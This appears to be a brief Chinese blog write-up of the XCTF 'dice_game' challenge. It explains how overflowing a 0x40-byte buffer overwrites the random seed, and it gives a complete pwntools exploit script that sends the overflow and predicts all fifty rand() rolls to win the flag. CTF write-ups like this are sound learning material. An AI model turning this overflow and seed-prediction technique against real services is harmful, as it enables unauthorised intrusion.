XCTF dice_game write up

nc一下给的地址和端口号,大概这个样子。

 

 IDA Pro 看一下源文件

 

 

看一下sub_A20()函数,就是比较了你输入的数与随机数是否相同

 

 如果五十次都相同,就输出flag。

 

 我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。

 

 这边就可以看到,buf覆盖0x40位就能覆盖到seed。

 

exp:

from pwn import *
from ctypes import *
p=remote('111.198.29.45','53746')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*"a"+p64(0)
p.sendline(payload)

a=[]
for i in range(50):
    a.append(libc.rand()%6+1)
print(a)
for i in a:
    p.recv()
    print(p.recv())
    p.sendline(str(i))
p.interactive()

 

 

 

喜提flag!

posted @ 2019-10-23 18:16  木墨  阅读(436)  评论(0)    收藏  举报